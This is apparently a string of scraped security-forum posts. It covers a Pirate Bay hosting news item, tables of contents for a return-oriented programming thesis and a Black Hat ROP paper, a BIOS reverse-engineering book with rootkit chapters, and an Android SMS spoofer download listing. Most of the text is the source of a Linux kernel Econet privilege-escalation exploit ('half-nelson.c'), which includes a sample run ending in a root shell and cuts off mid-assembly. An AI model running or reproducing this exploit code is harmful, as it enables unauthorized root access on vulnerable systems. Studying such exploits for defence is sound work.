Korea. Imagine that. This is going to be really fun to watch. The local convenience store may run out of popcorn when this becomes known. UPDATE: The operators of The Pirate Bay confirm the story in a press release with comments: “This is truly an ironic situation. We have been fighting for a free world, and our opponents are mostly huge corporations from the United States of America, a place where freedom and freedom of speech is said to be held high. At the same time, companies from that country is chasing a competitor from other countries, bribing police and lawmakers, threatening political parties and physically hunting people from our crew. And to our help comes a government famous in our part of the world for locking people up for their thoughts and forbidding access to information.” UPDATE 2: Some reports are coming in that the traces to North Korea look funny, and suggest that they are an elaborate fake, and that the actual location of The Pirate Bay would be Phnom Penh, Cambodia. One report in particular looks credible, but goes beyond my technical ability to verify its claims. Sursa: After Being Cut From Norway, The Pirate Bay Returns From North Korea - Falkvinge on Infopolicy

Return Oriented Programming for the ARM Architecture Tim Kornau December 22, 2009 Contents 1. Introduction 3 1.1. Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 1.2. Motivation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 1.3. Related work . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 1.4. Thesis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.5. Contributions of this work . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 1.6. Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 2. Definition of objective 7 2.1. Protection mechanisms . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 2.1.1. Stack cookies . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 2.1.2. Address space layout randomisation . . . . . . . . . . . . . . . . . . . . . . 7 2.1.3. Code and data separation . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 2.2. The evolution of return-oriented programming . . . . . . . . . . . . . . . . . . . . . 8 2.2.1. The evolution time line . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 2.2.1.1. Buffer overflows . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 2.2.1.2. Return-into-library technique . . . . . . . . . . . . . . . . . . . . . 9 2.2.1.3. Borrowed code chunks technique . . . . . . . . . . . . . . . . . . 9 2.2.1.4. Return-oriented Programming on x86 . . . . . . . . . . . . . . . . 9 2.2.1.5. Return-oriented programming on SPARC . . . . . . . . . . . . . . 10 2.2.1.6. DEPlib . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 2.2.1.7. Return-oriented programming on Harvard-type architectures . . . 11 2.3. Strategy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 2.3.1. Problem approach . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 3. Technical details 13 3.1. architecture and operating system details . . . . . . . . . . . . . . . . . . . . . . . 13 3.1.1. The ARM architecture . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 3.1.1.1. History . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 3.1.1.2. Registers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 3.1.1.3. Instruction set . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 3.1.1.4. ARM and THUMB . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 3.1.1.5. Endianness of memory . . . . . . . . . . . . . . . . . . . . . . . . 17 3.1.1.6. Stack modes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17 3.1.1.7. Subroutine calling convention . . . . . . . . . . . . . . . . . . . . . 18 3.1.2. Operating system . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18 3.1.2.1. Operating system overview . . . . . . . . . . . . . . . . . . . . . . 18 3.1.2.2. Memory architecture . . . . . . . . . . . . . . . . . . . . . . . . . 18 3.1.2.3. XIP DLLs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20 3.1.2.4. DLL loading . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20 3.1.2.5. Registers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20 3.1.2.6. The stack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21 3.1.2.7. ARM prologue and epilogue . . . . . . . . . . . . . . . . . . . . . 22 3.1.2.8. Function calling . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24 3.1.2.9. System calls . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24 3.1.2.10. Cache synchronisation and buffers . . . . . . . . . . . . . . . . . . 25 viii Contents 3.1.2.11. Dumping ROM and XIP . . . . . . . . . . . . . . . . . . . . . . . . 26 3.1.2.12. Debugging Windows Mobile . . . . . . . . . . . . . . . . . . . . . 27 3.2. The REIL meta-language . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30 3.2.1. A brief description of REIL cornerstones . . . . . . . . . . . . . . . . . . . . 30 3.2.2. REIL architecture and instruction set . . . . . . . . . . . . . . . . . . . . . . 30 3.2.2.1. The REIL VM . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31 3.2.2.2. REIL instructions . . . . . . . . . . . . . . . . . . . . . . . . . . . 32 3.2.3. Limitations of REIL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34 3.3. Return-Oriented Programming on ARM . . . . . . . . . . . . . . . . . . . . . . . . 35 3.3.1. A note on Turing-completeness . . . . . . . . . . . . . . . . . . . . . . . . . 35 3.3.2. Finding ARM Instruction Sequences in libraries . . . . . . . . . . . . . . . . 36 3.3.3. Construction of ARM Gadgets . . . . . . . . . . . . . . . . . . . . . . . . . 37 3.3.4. Crafting a Return-Oriented Program . . . . . . . . . . . . . . . . . . . . . . 37 3.3.5. Generating a return oriented program with a compiler . . . . . . . . . . . . 37 3.4. ARM gadget catalogue . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38 3.4.1. Description . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38 3.4.2. Nomenclature . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39 3.4.3. Memory gadgets . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39 3.4.3.1. Gadget: memory to register . . . . . . . . . . . . . . . . . . . . . 40 3.4.3.2. Gadget: memory to memory . . . . . . . . . . . . . . . . . . . . . 41 3.4.3.3. Memory arithmetic operation gadget . . . . . . . . . . . . . . . . . 42 3.4.3.4. Memory bitwise operation gadgets . . . . . . . . . . . . . . . . . . 43 3.4.4. Memory dereference gadgets . . . . . . . . . . . . . . . . . . . . . . . . . . 44 3.4.4.1. Gadget: register to memory dereference (pointer read) . . . . . . 44 3.4.4.2. Gadget: memory to memory dereference (pointer read) . . . . . . 45 3.4.4.3. Gadget: memory dereference to memory or register (pointer write) 46 3.4.5. Register gadgets . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47 3.4.5.1. Gadget: Register to register . . . . . . . . . . . . . . . . . . . . . 48 3.4.5.2. Gadget: Register to constant . . . . . . . . . . . . . . . . . . . . . 49 3.4.5.3. Gadget: register to memory . . . . . . . . . . . . . . . . . . . . . 49 3.4.5.4. Register arithmetic gadgets . . . . . . . . . . . . . . . . . . . . . . 50 3.4.5.5. Register bitwise operation gadgets . . . . . . . . . . . . . . . . . . 52 3.4.5.6. Shift gadgets . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52 3.4.6. Flags . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54 3.4.7. Control Flow gadgets . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55 3.4.7.1. Gadget: branch Always . . . . . . . . . . . . . . . . . . . . . . . . 55 3.4.7.2. Gadget: branch conditionally . . . . . . . . . . . . . . . . . . . . . 56 3.4.8. Function call gadgets . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 57 3.4.8.1. Gadget: normal function call . . . . . . . . . . . . . . . . . . . . . 57 3.4.8.2. Gadget: leaf function call . . . . . . . . . . . . . . . . . . . . . . . 58 3.4.9. System Call gadget . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58 4. Algorithms for automatic gadget searching 61 4.1. Stage I . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61 4.1.1. Reverse walker algorithm . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61 4.1.2. Algorithm: Expression tree extraction . . . . . . . . . . . . . . . . . . . . . 61 4.1.2.1. Instruction handler . . . . . . . . . . . . . . . . . . . . . . . . . . . 63 4.1.2.2. Algorithm to update the operand tree map . . . . . . . . . . . . . 67 4.1.2.3. Example for a single native instruction . . . . . . . . . . . . . . . . 67 4.1.3. Path extraction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69 4.2. Stage II . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69 4.2.1. Algorithm to merge expression trees with path information . . . . . . . . . . 69 4.2.1.1. Merging example . . . . . . . . . . . . . . . . . . . . . . . . . . . 70 4.2.1.2. Jump condition determination algorithm . . . . . . . . . . . . . . . 70 Contents ix 4.2.1.3. Traverse and update operand tree map algorithm . . . . . . . . . 70 4.2.2. Algorithm to simplify expression tree . . . . . . . . . . . . . . . . . . . . . . 72 4.3. Stage III . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 73 4.3.0.1. Locate gadgets core function . . . . . . . . . . . . . . . . . . . . . 73 4.3.0.2. Gadget locator functions . . . . . . . . . . . . . . . . . . . . . . . 73 4.3.0.3. Gadget complexity calculation . . . . . . . . . . . . . . . . . . . . 74 5. System implementation 75 5.1. Integration into BinNavi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75 5.2. Initial data extraction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75 5.3. Extracting information . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76 5.3.1. Extracting instruction information callback . . . . . . . . . . . . . . . . . . . 76 5.3.2. Extracting path information callback . . . . . . . . . . . . . . . . . . . . . . 77 5.4. Merging of extracted information . . . . . . . . . . . . . . . . . . . . . . . . . . . . 77 5.4.1. Updating the expression tree in a path . . . . . . . . . . . . . . . . . . . . . 77 5.4.2. Simplification of expression trees . . . . . . . . . . . . . . . . . . . . . . . . 78 5.5. Using the extracted information . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 78 5.5.1. Finding suitable sequences . . . . . . . . . . . . . . . . . . . . . . . . . . . 78 5.5.2. Evaluating suitable sequences . . . . . . . . . . . . . . . . . . . . . . . . . 79 6. Experimental results 81 6.1. Testing environment . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81 6.2. Library comparison . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81 6.3. Exploit example . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 83 6.3.1. Vulnerable service . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 83 6.3.2. Shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 83 6.3.3. Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85 7. Conclusion and further work 87 7.1. Automatic gadget compiler . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 87 7.2. Gadget description language . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 87 7.3. Live system scanning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 87 7.4. Partial function reconstruction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 87 7.5. Attack vector broadening . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88 7.6. Polymorphism . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88 7.7. Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88 A. Bibliography i B. List of Figures v Download: http://www.handgrep.se/repository/ebooks/Security/Reversing/kornau-tim--diplomarbeit--rop.pdf

PAYLOAD ALREADY INSIDE: DATA REUSE FOR ROP EXPLOITS Black Hat USA 2010 Whitepaper longld at vnsecurity.net Abstract Return-oriented programming (ROP), based on return-to-libc and borrowed-code-chunks ideas, is one of the buzzing advanced exploitation techniques these days to bypass NX. There are several practical works using ROP techniques for exploitations on Windows, iPhone OS to bypass DEP and code signing. On most of modern Linux distributions, ASCIIArmor address mapping (which maps libc addresses starting with NULL byte) and Address Space Layout Randomization (ASLR) are enable by default to protect against return-to-libc / ROP attacks. In this paper, we will show how we can extend old advanced return-to-libc techniques to multistage techniques that can bypass NX, ASLR and ASCII-Armor mapping and make ROP/return-to-libc exploitation on modern Linux x86 become easy. In addition, by reusing not only codes but also data from the binary itself, we can build any chained ret2libc calls or ROP calls to bypass ASLR protection. Acknowledgements The author would like to thank to Thanh Nguyen (rd), Duy-Dinh Le (ledduy) for reviewing this paper. Special thanks to Thanh Nguyen for contributing valuable ideas and advices. Keywords: return-oriented-programming, return-to-libc, aslr, nx, ascii-armor, buffer overflow, exploitation Table of Contents 1 Introduction........................................................................................................................3 2 Multistage return-oriented exploitation technique .............................................................4 2.1 The sample vulnerable program................................................................................4 2.2 A custom stack at fixed location.................................................................................4 2.3 Stage-0 payload loader..............................................................................................5 2.4 Resolving libc addresses............................................................................................8 2.5 Stage-1 payload........................................................................................................11 3 Practical ROP exploit.......................................................................................................12 3.1 A complete stage-0 loader........................................................................................12 3.2 Practical ROP gadgets catalog................................................................................14 4 Putting all together...........................................................................................................14 5 Countermeasures............................................................................................................18 6 Conclusions.....................................................................................................................19 Download: http://www.handgrep.se/repository/ebooks/Security/ROP/BHUS10_Paper_Payload_already_inside_data_reuse_for_ROP_exploits.pdf

BIOS Disassembly Ninjutsu Uncovered Preface ________________________ 1 The Audience ___________________________ 2 The Organization 3 Software Tools Compatibility 4 Typographical Conventions 4 PART I: THE BASICS __________________________________________________ 5 Chapter 1: PC BIOS Technology ______________ 7 Preview ____________________________ 7 1.1. Motherboard 8105 _____________________ ,8 1.2. Expansion ROM 12 1.3. Other Firmware within the PC 13 1.4. Bus Protocols Fundamentals 14 1.4 .1. System -Wide Addressing 14 1.4.2. PC! Bus Protocol 16 1.4.3. Proprietary Intcrchipset Protocol Technology 23 VI Contents • 1.4.4. PCI Express Bus Protocoll _________________ 25 1.4.5. HyperTransport Bus Protocol _______________ 27 Chapter 2: Preliminary Reverse Code Engineering _________ 29 Preview -----____________________ 29 2.1. Binary Scanning _____ ________________ 30 2.2. Introducing IDA Pro 31 2.3. IDA Pro Scripting and Key Bindings 38 2.4. IDA Pro Plugin (Optional) 47 Chapter 3: BIOS-Related Software Development Preliminary _____ 61 Preview _________________________ 61 3.1. BIOS-Related Software Development with Pure Assembler _______ 62 3.2. BIOS-Related Software Development with ecc 67 PART II: MOTHERBOARD BIOS REVERSE ENGINEERING _______ 77 Chapter 4: Gelling Acquainted with the System _________ 79 Preview --_______________________ 79 4.1. Hardware Peculiarities ___________________ 80 4.1.1. System Address Mapping and BIOS Chip Addressing' ________ 80 4.1.2. Obscure Hardware Ports 96 4.1.3. Relocatablc Hardware Ports ________________ 99 4.1.4. Expansion ROM Handling;.. _______________ 101 Contents VII $ 4.2. BIOS Binary Structure ____________________ 101 4.3. Software Peculiarities 102 4.3.1. call Instruction Peculiarity 102 4.3.2. retn Instruction Peculiarity 103 4.3.3. Cache-as-RAM 108 4.4. BIO$ Disassembling with IDA Pro 112 Chapter 5: Implementation of Motherboard BIOS ________ 115 Preview _________________________ 115 5.1. Award BIOS ______________________ 116 5.1.1. Award BIOS File Structure 116 5. 1.2. Award Boot-Block Reverse Engineering _____________ 121 5.1.2.1. Boot-Block Helper Routine 122 5.1.2.2. Chipset Early Initialization Routine 123 5.1.2.3. Super 1/0 Chip Initialization Routine 124 5.1.2.4. Jump to CMOS Values and Memory Initialization 124 5.1.2.5. BBSS Search and Early Memory Test Routines 125 5.1.2.6. Boot Block Is Copied and Executed in RAM 126 5.1.2.7. System BIOS Decompression and its Entry Point 128 5.1.3. Award System BIOS Reverse Engineering 142 5.1.3.1. Entry Point from the "Boot Block in RAM" 142 5.1.3.2. POST Jump Table Execution 142 5.l.3.3. Decompression Block Relocation and awardext.rom Decompression _143 5.1.3.4. Extension Components Decompression ___________ 146 5.1.3.5. Exotic Intersegment Procedure Call 149 VIII Contents • 5.2. AMI 8105 __ 160 5.2.1. AMI BIOS File Structure 161 5.2.2. AMI BIOS Tools 162 5.2.3. AMI Boot-Block Reverse Engineering __ 163 5.2.3.1. Boot-Block Jump Table 163 5.2.3.2. Decompression Block Relocation __ 165 5.2.3.3. Decompression Engine Initialization 168 5,2,3.4. BIOS Binary Relocation into RAM 170 5.2.3.5. POST Preparation 177 5.2.4. AMI System BIOS Reverse Engineering 182 Chapter 6: BIOS Modification __ 187 Preview __ 187 6.1. Tools of the Tmde __ 188 6,2. Code Injection __ 193 6.2.1. Locating the POST Jump Table 195 6.2.2. Finding a Dummy Procedure in the POST Jump Table 197 6.2.3. Assembling the Injected Code 197 6.2.4. Extracting the Genuine System BIOS 200 6.2.5. Looking for Padding Bytes 201 6.2.6. Injecting the Code 202 6.2.7. Modifying the POST Jump Table 202 6.2.8. Rebuilding the BIOS Binary 204 6.2.9. Flashing the Modified BIOS Binary 204 6.3. Other Modifications 205 Contents IX • PART III: EXPANSION ROM 209 Chapter 7: PCI Expansion ROM Software Development 211 Preview 211 7.1. PnP BIOS and Expansion ROM Architecture 212 7.1.1. PnP BIOS Architecture 212 7.1.2. "Abusing" PnP BIOS for Expansion ROM Development 212 7.1.3. POST and PCI Expansion ROM Initialization 213 7.1.4. PCI Expansion XROMBAR 213 7.1.5. PCI Expansion ROM 214 7.1.5.1. PCI Expansion ROM Contents 215 7.1.5.2. PC-Compatible Expansion ROMs 218 7.1.6. PCI PnP Expansion ROM Structure 221 7.2. PCI Expansion ROM Peculiarities 222 7.3. Implementation Sample 224 7.3.1. Hardware Testbed 224 7.3.2. Software Development Tool 225 7.3.3. Expansion ROM Source Code 225 7.3.3.1. Core PCI PnP Expansion ROM Source Code 226 7.3.3.2. PCI PnP Expansion ROM Checksum Utility Source Code 227 7.3.4. Building the Sample 227 7.3.5. Testing the Sample 229 7.3.6. Potential Bug and Its Workaround 230 X Contents $ Chapter 8: PCI Expansion ROM Reverse Engineering _______ 233 Preview -------____________________ 233 8.1. Binary Architecture' ____________________ 234 8.2. Disassembling the Main Code __________________ 236 8.2.1. Disassembling Realtek 8139 Expansion ROM __________ 236 8.2.2. Disassembling Gigabyte GV -NX76T2S6D-RH GeForce 7600 GT Expansion ROM ______________ 241 8.2.3. A Note on Expansion ROM Code-Injection Possibility _______ 244 PART IV: BIOS NINIUTSU ________________ 245 Chapter 9: Accessing BIOS within the Operating System ______ 247 Preview ___________________________ 247 9.1. General Access Method ____________________ 248 9.2. Accessing Motherboard BIOS Contents in Linux ___________ 249 9.2.1. Introduction to j1ash_n_burn 2S 1 9.2.2. Internals ofj1ash_n_burn 255 9.3. Accessing Motherboard BIOS Contents in Windows 261 9.3.1. Kernel -Mode Device Driver of bios_probe' ____________ 263 9.3.2. User-Mode Application of bios_probe 278 9.3.2.1. The Main Application 278 9.3.2 .2. The PCI Library 292 9.4. Accessing PCl Expansion ROM Contents in Linux __________ 297 Contents XI $ 9.5. Accessing PCI Expansion ROM Contents in Windows 301 9.5.1. The RTL8139 Address-Mapping Method 301 9.5.2. The Atme] AT29C512 Access Method 305 9.5.3. Implementing the Methods in Source Code 305 9.5.4. Testing the Software 316 Chapter 10: Low-Level Remote Server Management 321 Preview 321 10.1. DMI 'nd 5MBIOS 322 10.2. Remote Server Management Code Implementation 334 Chapter 11: BIOS Security Measures 341 Preview 341 11.1. Password Protection 342 11.1.1. Invalidating the CMOS Checksum 343 11.1.2. Reading the BIOS Password from BDA 348 11.1.3 The Downsides - An Attacker's Point of View 357 11.2. BIOS Component Integrity Checks 357 11.2.1. Award BIOS Component Integrity Checks 358 11.2.2. AMI BIOS Component Integrity Checks 361 11.3. Remote Server Management Security Measures 363 11.4. Hardware-Based Security Measures 364 XII Contents • Chapter 12: BIOS Rootkit Engineering _____________ 375 Preview ___________________________ 375 12.1. Looking Back through BIOS Exploitation History __________ 376 12.2. Hijacking the System BIOS 391 12.2.1. Hijacking Award BIOS 4.51PG Interrupt Handlers 395 12.2.2. Hijacking Award BIOS 6.00PG Interrupt Handlers ________ 40S 12.2.3. Extending the Technique to a BIOS from Other Vendors ______ 413 12.3. PCI Expansion ROM Rootkit Development Scenario _________ 414 12.3.1. PCI Expansion ROM Detour Patching ____________ 416 12.3.2. Multi-lmage PC! Expansion ROM 418 12.3.3. PCI Expansion ROM Peculiarity in Network Cards 420 Chapter 13: BIOS Defense Techniques _____________ 421 Preview ___________________________ 421 13.1. Prevention Methods _______________ _____ 422 13.1.1. Hardware-Based Security Measures _ _____________ 422 13.1.2. Virtual Machine Defense 426 13.1.2. WBEM Security in Relation to the BIOS RooLkit 427 13.1.3. Defense against PCI Expansion ROM Rootkit Attacks 429 13.1.4. Miscellaneous BIOS-Related Defense Methods 430 13.2. Recognizing Compromised Systems, _______________ 440 13.2.1. Recognizing a Compromised Motherboard BIOS 440 13.2.2. Recognizing a Compromised PCI Expansion ROM 442 13.3. Healing Compromised Systems 443 Contents XIII PART V: OTHER APPLICATIONS OF 8105 TECHOLOGY 445 Chapter 14: Embedded x86 8105 Technology 447 Preview 447 14.1. Embedded x86 BIOS Architecture 448 14.2. Embedded x86 BIOS Implementation Samples 451 14.2.1. TV Set-Top Box 451 14.2.2. Network Appliance 466 14.2.3. Kiosk 471 14.3. Embedded x86 BIOS Exploitation 473 Chapter 15: What's Next? 475 Preview 475 15.1. Future of BIOS Technology 476 15.1.1. Unified Extensible Firmware Interface 476 15.1.2. BIOS Vendors Road Map 481 15.2. Ubiquitous Computing and Development in BIOS 486 15.3. Future of BIOS-Related Security Threats 487 The CD-ROM Description 489 Index 491 Download: http://www.handgrep.se/repository/ebooks/Security/Reversing/BIOS-Disassembly-Ninjutsu-Uncovered.pdf

Android SMS spoofer [TABLE] [TR] [TD][/TD] [TD]SMSSpoofer-v1-signed-platform.apk[/TD] [TD=align: right]15-Nov-2012 13:22 [/TD] [TD=align: right]156K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]and4bc.html[/TD] [TD=align: right]28-Feb-2013 17:09 [/TD] [TD=align: right]508 [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]codepin2.html[/TD] [TD=align: right]15-Nov-2012 16:13 [/TD] [TD=align: right]139 [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]codepin3.html[/TD] [TD=align: right]15-Nov-2012 17:50 [/TD] [TD=align: right]222 [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]codepin4.html[/TD] [TD=align: right]15-Nov-2012 18:08 [/TD] [TD=align: right]409 [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]libxml2/[/TD] [TD=align: right]01-Mar-2013 14:56 [/TD] [TD=align: right] - [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]pin5.html[/TD] [TD=align: right]15-Nov-2012 20:43 [/TD] [TD=align: right]594 [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]pin6.html[/TD] [TD=align: right]15-Nov-2012 20:56 [/TD] [TD=align: right]596K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]pin7.html[/TD] [TD=align: right]15-Nov-2012 21:04 [/TD] [TD=align: right]596K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]pin8.html[/TD] [TD=align: right]15-Nov-2012 21:14 [/TD] [TD=align: right]896 [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]wipe.html[/TD] [TD=align: right]15-Nov-2012 14:34 [/TD] [TD=align: right]123 [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]wipe.txt[/TD] [TD=align: right]14-Nov-2012 19:01 [/TD] [TD=align: right]114 [/TD] [TD] [/TD] [/TR] [/TABLE] Sursa: Index of /repository/exploits/Android Se incumeta cineva sa il testeze?

Linux Kernel < 2.6.36.2 Econet Privilege Escalation Exploit /* * half-nelson.c * * Linux Kernel < 2.6.36.2 Econet Privilege Escalation Exploit * Jon Oberheide <jon@oberheide.org> * http://jon.oberheide.org * * Information: * * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3848 * * Stack-based buffer overflow in the econet_sendmsg function in * net/econet/af_econet.c in the Linux kernel before 2.6.36.2, when an * econet address is configured, allows local users to gain privileges by * providing a large number of iovec structures. * * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3850 * * The ec_dev_ioctl function in net/econet/af_econet.c in the Linux kernel * before 2.6.36.2 does not require the CAP_NET_ADMIN capability, which * allows local users to bypass intended access restrictions and configure * econet addresses via an SIOCSIFADDR ioctl call. * * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4073 * * The ipc subsystem in the Linux kernel before 2.6.37-rc1 does not * initialize certain structures, which allows local users to obtain * potentially sensitive information from kernel stack memory. * * Usage: * * $ gcc half-nelson.c -o half-nelson -lrt * $ ./half-nelson * [+] looking for symbols... * [+] resolved symbol commit_creds to 0xffffffff81088ad0 * [+] resolved symbol prepare_kernel_cred to 0xffffffff81088eb0 * [+] resolved symbol ia32_sysret to 0xffffffff81046692 * [+] spawning children to achieve adjacent kstacks... * [+] found parent kstack at 0xffff88001c6ca000 * [+] found adjacent children kstacks at 0xffff88000d10a000 and 0xffff88000d10c000 * [+] lower child spawning a helper... * [+] lower child calling compat_sys_wait4 on helper... * [+] helper going to sleep... * [+] upper child triggering stack overflow... * [+] helper woke up * [+] lower child returned from compat_sys_wait4 * [+] parent's restart_block has been clobbered * [+] escalating privileges... * [+] launching root shell! * # id * uid=0(root) gid=0(root) * * Notes: * * This exploit leverages three vulnerabilities to escalate privileges. * The primary vulnerability is a kernel stack overflow, not a stack buffer * overflow as the CVE description incorrectly states. I believe this is the * first public exploit for a kernel stack overflow, and it turns out to be * a bit tricky due to some particulars of the econet vulnerability. A full * breakdown of the exploit is forthcoming. * * Tested on Ubuntu 10.04 LTS (2.6.32-21-generic). * * Greets to pipacs, kees, redpig, taviso, bliss, nelhage, spender, twiz, and rocky. */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <stddef.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #include <limits.h> #include <syscall.h> #include <inttypes.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/wait.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/ipc.h> #include <sys/sem.h> #include <sys/stat.h> #include <sys/mman.h> #include <sys/resource.h> #include <sys/syscall.h> #include <netinet/in.h> #include <net/if.h> #define IOVS 446 #define NPROC 1024 #define KSTACK_SIZE 8192 #define KSTACK_UNINIT 0 #define KSTACK_UPPER 1 #define KSTACK_LOWER 2 #define KSTACK_DIE 3 #define KSTACK_PARENT 4 #define KSTACK_CLOBBER 5 #define LEAK_BASE 0xffff880000000000 #define LEAK_TOP 0xffff8800c0000000 #define LEAK_DEPTH 500 #define LEAK_OFFSET 32 #define NR_IPC 0x75 #define NR_WAIT4 0x72 #define SEMCTL 0x3 #ifndef PF_ECONET #define PF_ECONET 19 #endif #define STACK_OFFSET 6 #define RESTART_OFFSET 40 struct ec_addr { unsigned char station; unsigned char net; }; struct sockaddr_ec { unsigned short sec_family; unsigned char port; unsigned char cb; unsigned char type; struct ec_addr addr; unsigned long cookie; }; struct ipc64_perm { uint32_t key; uint32_t uid; uint32_t gid; uint32_t cuid; uint32_t cgid; uint32_t mode; uint16_t seq; uint16_t __pad2; unsigned long __unused1; unsigned long __unused2; }; struct semid64_ds { struct ipc64_perm sem_perm; unsigned long sem_otime; unsigned long __unused1; unsigned long sem_ctime; unsigned long __unused; unsigned long sem_nsems; unsigned long __unused3; unsigned long __unused4; }; union semun { int val; struct semid_ds *buf; unsigned short *array; struct seminfo *__buf; }; struct region { unsigned long parent; unsigned long addrs[NPROC]; }; struct region *region; typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; unsigned long ia32_sysret; void __attribute__((regparm(3))) kernel_code(void) { commit_creds(prepare_kernel_cred(0)); } void payload_parent(void) { asm volatile ( "mov $kernel_code, %rax\n" "call *%rax\n" ); } void payload_child(void) { asm volatile ( "movq $payload_parent, (%0)\n" "jmpq *%1\n" : : "r"(region->parent + RESTART_OFFSET), "r"(ia32_sysret) ); } unsigned long get_kstack(void) { int i, size, offset; union semun *arg; struct semid_ds dummy; struct semid64_ds *leaked; char *stack_start, *stack_end; unsigned char *p; unsigned long kstack, *ptr; /* make sure our argument is 32-bit accessible */ arg = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0); if (arg == MAP_FAILED) { printf("[-] failure mapping memory, aborting!\n"); exit(1); } /* map a fake stack to use during syscall */ stack_start = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0); if (stack_start == MAP_FAILED) { printf("[-] failure mapping memory, aborting!\n"); exit(1); } stack_end = stack_start + 4096; memset(arg, 0, sizeof(union semun)); memset(&dummy, 0, sizeof(struct semid_ds)); arg->buf = &dummy; /* syscall(NR_IPC, SEMCTL, 0, 0, IPC_SET, arg) */ asm volatile ( "push %%rax\n" "push %%rbx\n" "push %%rcx\n" "push %%rdx\n" "push %%rsi\n" "push %%rdi\n" "movl %0, 